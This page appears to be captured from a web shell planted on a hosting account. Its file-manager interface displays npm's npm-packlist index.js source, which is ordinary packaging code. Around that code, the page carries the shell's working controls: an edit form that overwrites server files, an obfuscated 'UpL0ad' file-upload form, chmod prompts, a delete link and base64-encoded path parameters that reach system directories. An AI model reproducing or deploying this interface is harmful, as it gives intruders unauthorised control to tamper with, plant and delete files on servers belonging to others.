<hr>index.js<form method=post action="?d=L2xpYi9ub2RlX21vZHVsZXMvbnBtL25vZGVfbW9kdWxlcy9ucG0tcGFja2xpc3QvbGli&f=aW5kZXguanM%3D"><input name="f" value="index.js"><textarea name="t">&#039;use strict&#039;

// Do a two-pass walk, first to get the list of packages that need to be
// bundled, then again to get the actual files and folders.
// Keep a cache of node_modules content and package.json data, so that the
// second walk doesn&#039;t have to re-do all the same work.

const bundleWalk = require(&#039;npm-bundled&#039;)
const BundleWalker = bundleWalk.BundleWalker

const ignoreWalk = require(&#039;ignore-walk&#039;)
const IgnoreWalker = ignoreWalk.Walker

const rootBuiltinRules = Symbol(&#039;root-builtin-rules&#039;)
const packageNecessaryRules = Symbol(&#039;package-necessary-rules&#039;)
const path = require(&#039;path&#039;)

const normalizePackageBin = require(&#039;npm-normalize-package-bin&#039;)

// Weird side-effect of this: a readme (etc) file will be included
// if it exists anywhere within a folder with a package.json file.
// The original intent was only to include these files in the root,
// but now users in the wild are dependent on that behavior for
// localized documentation and other use cases.  Adding a `/` to
// these rules, while tempting and arguably more &quot;correct&quot;, is a
// significant change that will break existing use cases.
const packageMustHaveFileNames = &#039;readme|copying|license|licence&#039;

const packageMustHaves = `@(${packageMustHaveFileNames}){,.*[^~$]}`
const packageMustHavesRE = new RegExp(`^(${packageMustHaveFileNames})(\\..*[^~$])?$`, &#039;i&#039;)

const fs = require(&#039;fs&#039;)
const glob = require(&#039;glob&#039;)
const globify = pattern =&gt; pattern.split(&#039;\\&#039;).join(&#039;/&#039;)

const readOutOfTreeIgnoreFiles = (root, rel, result = &#039;&#039;) =&gt; {
  for (const file of [&#039;.npmignore&#039;, &#039;.gitignore&#039;]) {
    try {
      const ignoreContent = fs.readFileSync(path.join(root, file), { encoding: &#039;utf8&#039; })
      result += ignoreContent + &#039;\n&#039;
      // break the loop immediately after concatting, this allows us to prioritize the
      // .npmignore and discard the .gitignore if one exists
      break
    } catch (err) {
      // we ignore ENOENT errors completely because we don&#039;t care if the file doesn&#039;t exist
      // but we throw everything else because failing to read a file that does exist is
      // something that the user likely wants to know about. we don&#039;t need to test this.
      /* istanbul ignore next */
      if (err.code !== &#039;ENOENT&#039;) {
        throw err
      }
    }
  }

  if (!rel) {
    return result
  }

  const firstRel = rel.split(path.sep)[0]
  const newRoot = path.join(root, firstRel)
  const newRel = path.relative(newRoot, path.join(root, rel))

  return readOutOfTreeIgnoreFiles(newRoot, newRel, result)
}

const pathHasPkg = (input) =&gt; {
  if (!input.startsWith(&#039;node_modules/&#039;)) {
    return false
  }

  const segments = input.slice(&#039;node_modules/&#039;.length).split(&#039;/&#039;, 2)
  return segments[0].startsWith(&#039;@&#039;)
    ? segments.length === 2
    : true
}

const pkgFromPath = (input) =&gt; {
  const segments = input.slice(&#039;node_modules/&#039;.length).split(&#039;/&#039;, 2)
  return segments[0].startsWith(&#039;@&#039;)
    ? segments.join(&#039;/&#039;)
    : segments[0]
}

const defaultRules = [
  &#039;.npmignore&#039;,
  &#039;.gitignore&#039;,
  &#039;**/.git&#039;,
  &#039;**/.svn&#039;,
  &#039;**/.hg&#039;,
  &#039;**/CVS&#039;,
  &#039;**/.git/**&#039;,
  &#039;**/.svn/**&#039;,
  &#039;**/.hg/**&#039;,
  &#039;**/CVS/**&#039;,
  &#039;/.lock-wscript&#039;,
  &#039;/.wafpickle-*&#039;,
  &#039;/build/config.gypi&#039;,
  &#039;npm-debug.log&#039;,
  &#039;**/.npmrc&#039;,
  &#039;.*.swp&#039;,
  &#039;.DS_Store&#039;,
  &#039;**/.DS_Store/**&#039;,
  &#039;._*&#039;,
  &#039;**/._*/**&#039;,
  &#039;*.orig&#039;,
  &#039;/package-lock.json&#039;,
  &#039;/yarn.lock&#039;,
  &#039;/pnpm-lock.yaml&#039;,
  &#039;/archived-packages/**&#039;,
]

// There may be others, but :?|&lt;&gt; are handled by node-tar
const nameIsBadForWindows = file =&gt; /\*/.test(file)

class Walker extends IgnoreWalker {
  constructor (opt) {
    opt = opt || {}

    // the order in which rules are applied.
    opt.ignoreFiles = [
      rootBuiltinRules,
      &#039;package.json&#039;,
      &#039;.npmignore&#039;,
      &#039;.gitignore&#039;,
      packageNecessaryRules,
    ]

    opt.includeEmpty = false
    opt.path = opt.path || process.cwd()

    // only follow links in the root node_modules folder, because if those
    // folders are included, it&#039;s because they&#039;re bundled, and bundles
    // should include the contents, not the symlinks themselves.
    // This regexp tests to see that we&#039;re either a node_modules folder,
    // or a @scope within a node_modules folder, in the root&#039;s node_modules
    // hierarchy (ie, not in test/foo/node_modules/ or something).
    const followRe = /^(?:\/node_modules\/(?:@[^/]+\/[^/]+|[^/]+)\/)*\/node_modules(?:\/@[^/]+)?$/
    const rootPath = opt.parent ? opt.parent.root : opt.path
    const followTestPath = opt.path.replace(/\\/g, &#039;/&#039;).slice(rootPath.length)
    opt.follow = followRe.test(followTestPath)

    super(opt)

    // ignore a bunch of things by default at the root level.
    // also ignore anything in the main project node_modules hierarchy,
    // except bundled dependencies
    if (this.isProject) {
      this.bundled = opt.bundled || []
      this.bundledScopes = Array.from(new Set(
        this.bundled.filter(f =&gt; /^@/.test(f))
          .map(f =&gt; f.split(&#039;/&#039;)[0])))
      this.packageJsonCache = this.parent ? this.parent.packageJsonCache
        : (opt.packageJsonCache || new Map())
      let rules = defaultRules.join(&#039;\n&#039;) + &#039;\n&#039;

      if (opt.prefix &amp;&amp; opt.workspaces) {
        const gPath = globify(opt.path)
        const gPrefix = globify(opt.prefix)
        const gWorkspaces = opt.workspaces.map((ws) =&gt; globify(ws))
        // if opt.path and opt.prefix are not the same directory, and opt.workspaces has opt.path
        // in it, then we know that opt.path is a workspace directory. in order to not drop ignore
        // rules from directories between the workspace root (opt.prefix) and the workspace itself
        // (opt.path), we need to find and read those now
        /* istanbul ignore else */
        if (gPath !== gPrefix &amp;&amp; gWorkspaces.includes(gPath)) {
          // relpath is the relative path between the prefix and the parent of opt.path
          // we use the parent because ignore-walk will read the files in opt.path already
          const relpath = path.relative(opt.prefix, path.dirname(opt.path))
          rules += readOutOfTreeIgnoreFiles(opt.prefix, relpath)
        } else if (gPath === gPrefix) {
          // on the other hand, if the path and the prefix are the same, then we ignore workspaces
          // so that we don&#039;t pack workspaces inside of a root project
          rules += opt.workspaces.map((ws) =&gt; globify(path.relative(opt.path, ws))).join(&#039;\n&#039;)
        }
      }

      super.onReadIgnoreFile(rootBuiltinRules, rules, _ =&gt; _)
    } else {
      this.bundled = []
      this.bundledScopes = []
      this.packageJsonCache = this.parent.packageJsonCache
    }
  }

  get isProject () {
    return !this.parent || this.parent.follow &amp;&amp; this.isSymbolicLink
  }

  onReaddir (entries) {
    if (this.isProject) {
      entries = entries.filter(e =&gt;
        e !== &#039;.git&#039; &amp;&amp;
        !(e === &#039;node_modules&#039; &amp;&amp; this.bundled.length === 0)
      )
    }

    // if we have a package.json, then look in it for &#039;files&#039;
    // we _only_ do this in the root project, not bundled deps
    // or other random folders.  Bundled deps are always assumed
    // to be in the state the user wants to include them, and
    // a package.json somewhere else might be a template or
    // test or something else entirely.
    if (!this.isProject || !entries.includes(&#039;package.json&#039;)) {
      return super.onReaddir(entries)
    }

    // when the cache has been seeded with the root manifest,
    // we must respect that (it may differ from the filesystem)
    const ig = path.resolve(this.path, &#039;package.json&#039;)

    if (this.packageJsonCache.has(ig)) {
      const pkg = this.packageJsonCache.get(ig)

      // fall back to filesystem when seeded manifest is invalid
      if (!pkg || typeof pkg !== &#039;object&#039;) {
        return this.readPackageJson(entries)
      }

      // feels wonky, but this ensures package bin is _always_
      // normalized, as well as guarding against invalid JSON
      return this.getPackageFiles(entries, JSON.stringify(pkg))
    }

    this.readPackageJson(entries)
  }

  onReadPackageJson (entries, er, pkg) {
    if (er) {
      this.emit(&#039;error&#039;, er)
    } else {
      this.getPackageFiles(entries, pkg)
    }
  }

  mustHaveFilesFromPackage (pkg) {
    const files = []
    if (pkg.browser) {
      files.push(&#039;/&#039; + pkg.browser)
    }
    if (pkg.main) {
      files.push(&#039;/&#039; + pkg.main)
    }
    if (pkg.bin) {
      // always an object because normalized already
      for (const key in pkg.bin) {
        files.push(&#039;/&#039; + pkg.bin[key])
      }
    }
    files.push(
      &#039;/package.json&#039;,
      &#039;/npm-shrinkwrap.json&#039;,
      &#039;!/package-lock.json&#039;,
      packageMustHaves
    )
    return files
  }

  getPackageFiles (entries, pkg) {
    try {
      // XXX this could be changed to use read-package-json-fast
      // which handles the normalizing of bins for us, and simplifies
      // the test for bundleDependencies and bundledDependencies later.
      // HOWEVER if we do this, we need to be sure that we&#039;re careful
      // about what we write back out since rpj-fast removes some fields
      // that the user likely wants to keep. it also would add a second
      // file read that we would want to optimize away.
      pkg = normalizePackageBin(JSON.parse(pkg.toString()))
    } catch (er) {
      // not actually a valid package.json
      return super.onReaddir(entries)
    }

    const ig = path.resolve(this.path, &#039;package.json&#039;)
    this.packageJsonCache.set(ig, pkg)

    // no files list, just return the normal readdir() result
    if (!Array.isArray(pkg.files)) {
      return super.onReaddir(entries)
    }

    pkg.files.push(...this.mustHaveFilesFromPackage(pkg))

    // If the package has a files list, then it&#039;s unlikely to include
    // node_modules, because why would you do that?  but since we use
    // the files list as the effective readdir result, that means it
    // looks like we don&#039;t have a node_modules folder at all unless we
    // include it here.
    if ((pkg.bundleDependencies || pkg.bundledDependencies) &amp;&amp; entries.includes(&#039;node_modules&#039;)) {
      pkg.files.push(&#039;node_modules&#039;)
    }

    const patterns = Array.from(new Set(pkg.files)).reduce((set, pattern) =&gt; {
      const excl = pattern.match(/^!+/)
      if (excl) {
        pattern = pattern.slice(excl[0].length)
      }
      // strip off any / or ./ from the start of the pattern.  /foo =&gt; foo, ./foo =&gt; foo
      pattern = pattern.replace(/^\.?\/+/, &#039;&#039;)
      // an odd number of ! means a negated pattern.  !!foo ==&gt; foo
      const negate = excl &amp;&amp; excl[0].length % 2 === 1
      set.push({ pattern, negate })
      return set
    }, [])

    let n = patterns.length
    const set = new Set()
    const negates = new Set()
    const results = []
    const then = (pattern, negate, er, fileList, i) =&gt; {
      if (er) {
        return this.emit(&#039;error&#039;, er)
      }

      results[i] = { negate, fileList }
      if (--n === 0) {
        processResults(results)
      }
    }
    const processResults = processed =&gt; {
      for (const { negate, fileList } of processed) {
        if (negate) {
          fileList.forEach(f =&gt; {
            f = f.replace(/\/+$/, &#039;&#039;)
            set.delete(f)
            negates.add(f)
          })
        } else {
          fileList.forEach(f =&gt; {
            f = f.replace(/\/+$/, &#039;&#039;)
            set.add(f)
            negates.delete(f)
          })
        }
      }

      const list = Array.from(set)
      // replace the files array with our computed explicit set
      pkg.files = list.concat(Array.from(negates).map(f =&gt; &#039;!&#039; + f))
      const rdResult = Array.from(new Set(
        list.map(f =&gt; f.replace(/^\/+/, &#039;&#039;))
      ))
      super.onReaddir(rdResult)
    }

    // maintain the index so that we process them in-order only once all
    // are completed, otherwise the parallelism messes things up, since a
    // glob like **/*.js will always be slower than a subsequent !foo.js
    patterns.forEach(({ pattern, negate }, i) =&gt;
      this.globFiles(pattern, (er, res) =&gt; then(pattern, negate, er, res, i)))
  }

  filterEntry (entry, partial) {
    // get the partial path from the root of the walk
    const p = this.path.slice(this.root.length + 1)
    const { isProject } = this
    const pkg = isProject &amp;&amp; pathHasPkg(entry)
      ? pkgFromPath(entry)
      : null
    const rootNM = isProject &amp;&amp; entry === &#039;node_modules&#039;
    const rootPJ = isProject &amp;&amp; entry === &#039;package.json&#039;

    return (
      // if we&#039;re in a bundled package, check with the parent.
      /^node_modules($|\/)/i.test(p) &amp;&amp; !this.isProject ? this.parent.filterEntry(
        this.basename + &#039;/&#039; + entry, partial)

      // if package is bundled, all files included
      // also include @scope dirs for bundled scoped deps
      // they&#039;ll be ignored if no files end up in them.
      // However, this only matters if we&#039;re in the root.
      // node_modules folders elsewhere, like lib/node_modules,
      // should be included normally unless ignored.
      : pkg ? this.bundled.indexOf(pkg) !== -1 ||
        this.bundledScopes.indexOf(pkg) !== -1

      // only walk top node_modules if we want to bundle something
      : rootNM ? !!this.bundled.length

      // always include package.json at the root.
      : rootPJ ? true

      // always include readmes etc in any included dir
      : packageMustHavesRE.test(entry) ? true

      // npm-shrinkwrap and package.json always included in the root pkg
      : isProject &amp;&amp; (entry === &#039;npm-shrinkwrap.json&#039; || entry === &#039;package.json&#039;)
        ? true

      // package-lock never included
        : isProject &amp;&amp; entry === &#039;package-lock.json&#039; ? false

        // otherwise, follow ignore-walk&#039;s logic
        : super.filterEntry(entry, partial)
    )
  }

  filterEntries () {
    if (this.ignoreRules[&#039;.npmignore&#039;]) {
      this.ignoreRules[&#039;.gitignore&#039;] = null
    }
    this.filterEntries = super.filterEntries
    super.filterEntries()
  }

  addIgnoreFile (file, then) {
    const ig = path.resolve(this.path, file)
    if (file === &#039;package.json&#039; &amp;&amp; !this.isProject) {
      then()
    } else if (this.packageJsonCache.has(ig)) {
      this.onPackageJson(ig, this.packageJsonCache.get(ig), then)
    } else {
      super.addIgnoreFile(file, then)
    }
  }

  onPackageJson (ig, pkg, then) {
    this.packageJsonCache.set(ig, pkg)

    if (Array.isArray(pkg.files)) {
      // in this case we already included all the must-haves
      super.onReadIgnoreFile(&#039;package.json&#039;, pkg.files.map(
        f =&gt; &#039;!&#039; + f
      ).join(&#039;\n&#039;) + &#039;\n&#039;, then)
    } else {
      // if there&#039;s a bin, browser or main, make sure we don&#039;t ignore it
      // also, don&#039;t ignore the package.json itself, or any files that
      // must be included in the package.
      const rules = this.mustHaveFilesFromPackage(pkg).map(f =&gt; `!${f}`)
      const data = rules.join(&#039;\n&#039;) + &#039;\n&#039;
      super.onReadIgnoreFile(packageNecessaryRules, data, then)
    }
  }

  // override parent stat function to completely skip any filenames
  // that will break windows entirely.
  // XXX(isaacs) Next major version should make this an error instead.
  stat ({ entry, file, dir }, then) {
    if (nameIsBadForWindows(entry)) {
      then()
    } else {
      super.stat({ entry, file, dir }, then)
    }
  }

  // override parent onstat function to nix all symlinks, other than
  // those coming out of the followed bundled symlink deps
  onstat ({ st, entry, file, dir, isSymbolicLink }, then) {
    if (st.isSymbolicLink()) {
      then()
    } else {
      super.onstat({ st, entry, file, dir, isSymbolicLink }, then)
    }
  }

  onReadIgnoreFile (file, data, then) {
    if (file === &#039;package.json&#039;) {
      try {
        const ig = path.resolve(this.path, file)
        this.onPackageJson(ig, JSON.parse(data), then)
      } catch (er) {
        // ignore package.json files that are not json
        then()
      }
    } else {
      super.onReadIgnoreFile(file, data, then)
    }
  }

  sort (a, b) {
    // optimize for compressibility
    // extname, then basename, then locale alphabetically
    // https://twitter.com/isntitvacant/status/1131094910923231232
    const exta = path.extname(a).toLowerCase()
    const extb = path.extname(b).toLowerCase()
    const basea = path.basename(a).toLowerCase()
    const baseb = path.basename(b).toLowerCase()

    return exta.localeCompare(extb, &#039;en&#039;) ||
      basea.localeCompare(baseb, &#039;en&#039;) ||
      a.localeCompare(b, &#039;en&#039;)
  }

  globFiles (pattern, cb) {
    glob(globify(pattern), { dot: true, cwd: this.path, nocase: true }, cb)
  }

  readPackageJson (entries) {
    fs.readFile(this.path + &#039;/package.json&#039;, (er, pkg) =&gt;
      this.onReadPackageJson(entries, er, pkg))
  }

  walker (entry, opt, then) {
    new Walker(this.walkerOpt(entry, opt)).on(&#039;done&#039;, then).start()
  }
}

const walk = (options, callback) =&gt; {
  options = options || {}
  const p = new Promise((resolve, reject) =&gt; {
    const bw = new BundleWalker(options)
    bw.on(&#039;done&#039;, bundled =&gt; {
      options.bundled = bundled
      options.packageJsonCache = bw.packageJsonCache
      new Walker(options).on(&#039;done&#039;, resolve).on(&#039;error&#039;, reject).start()
    })
    bw.start()
  })
  return callback ? p.then(res =&gt; callback(null, res), callback) : p
}

module.exports = walk
walk.Walker = Walker
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /lib/node_modules/npm/node_modules/npm-packlist/lib<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2xpYi9ub2RlX21vZHVsZXMvbnBtL25vZGVfbW9kdWxlcy9ucG0tcGFja2xpc3QvbGli"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2xpYi9ub2RlX21vZHVsZXMvbnBtL25vZGVfbW9kdWxlcy9ucG0tcGFja2xpc3QvbGli&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>22</td></tr><tr><td></td><td><a href="?d=L2xpYi9ub2RlX21vZHVsZXMvbnBtL25vZGVfbW9kdWxlcy9ucG0tcGFja2xpc3Q="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2xpYi9ub2RlX21vZHVsZXMvbnBtL25vZGVfbW9kdWxlcy9ucG0tcGFja2xpc3QvbGli&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>100</td></tr><tr><td><a href="?d=L2xpYi9ub2RlX21vZHVsZXMvbnBtL25vZGVfbW9kdWxlcy9ucG0tcGFja2xpc3QvbGli&x=aW5kZXguanM=">X</a></td><td><a href="?d=L2xpYi9ub2RlX21vZHVsZXMvbnBtL25vZGVfbW9kdWxlcy9ucG0tcGFja2xpc3QvbGli&f=aW5kZXguanM="/>index.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2xpYi9ub2RlX21vZHVsZXMvbnBtL25vZGVfbW9kdWxlcy9ucG0tcGFja2xpc3QvbGli&f=aW5kZXguanM=&c=`+btoa(c):0" value="0644"></td><td>17222</td></tr></table>